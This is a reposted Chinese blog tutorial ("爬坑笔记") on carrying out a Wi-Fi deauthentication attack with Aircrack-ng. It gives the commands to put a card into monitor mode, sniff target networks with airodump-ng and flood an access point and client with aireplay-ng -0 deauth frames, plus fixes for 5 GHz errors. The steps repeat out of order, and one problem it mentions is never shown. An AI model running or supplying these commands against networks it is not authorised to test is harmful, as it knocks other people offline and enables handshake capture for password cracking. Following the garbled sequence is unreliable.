WIFI Deauth攻击-爬坑笔记
作者：互联网
这里用Aircrack这款工具进行介绍：
准备工作：无线网卡连接电脑或者虚拟机（免驱的最好），如需驱动请自行安装驱动
1.将无线网卡接入测试电脑Linux虚拟机（装有Aircrack-ng）
2.测试电脑使用Linux虚拟机
3.在kali的命令行中输入ifconfig，查看无线网卡是否成功连接至系统（出现了名为wlan0的无线网卡则是成功连接）
4.使用命令ifconfig wlan0 up启用无线网卡
5.使用命令airmon-ng start wlan0 将网卡设置为监听模式（开启混杂模式才能嗅探所有经过网卡的数据包）
解决办法使用以下命令：sudo airmon-ng start wlan0 1 或者 iwconfig wlan0mon channel 1
在处理5Ghz的wifi，在锁定目标wifi后使用aireplay-ng指令抓取握手包时在确定无语法错误等问题的前提下仍然报错“no such bssid available.”的解决方法加-D参数 具体使用：aireplay-ng -0 1000 -a AA:AA:AA:AA:AA -c BB:BB:BB:BB:BB -D wlan0
9.解决所有问题开始进行攻击，在攻击期间内，目标热点断开即为攻击成功
4.使用命令ifconfig wlan0 up启用无线网卡
5.使用命令airmon-ng start wlan0 将网卡设置为监听模式（开启混杂模式才能嗅探所有经过网卡的数据包）
6.使用命令ifconfig查看网卡是否开启监听模式
7.监听模式开启成功后，使用命令airodump-ng wlan0对当前环境的无线网络进行嗅探，根据SSID确认攻击目标，并记录目标MAC（wlan0为激活监听模式的无线网卡名称)
8.使用命令aireplay-ng -0 100 –a AP的mac wlan0进行DeAuth攻击（-0 采用deauth攻击模式，100为攻击次数，-a 后跟AP的MAC地址，-c 后跟客户端的MAC地址）
如果出现以下问题：
解决办法使用以下命令：sudo airmon-ng start wlan0 1 或者 iwconfig wlan0mon channel 1
在处理5Ghz的wifi，在锁定目标wifi后使用aireplay-ng指令抓取握手包时在确定无语法错误等问题的前提下仍然报错“no such bssid available.”的解决方法加-D参数 具体使用：aireplay-ng -0 1000 -a AA:AA:AA:AA:AA -c BB:BB:BB:BB:BB -D wlan0
9.解决所有问题开始进行攻击，在攻击期间内，目标热点断开即为攻击成功
标签：AA,Deauth,BB,WIFI,笔记,ng,网卡,wlan0,无线 来源： https://www.cnblogs.com/Matsec/p/15429176.html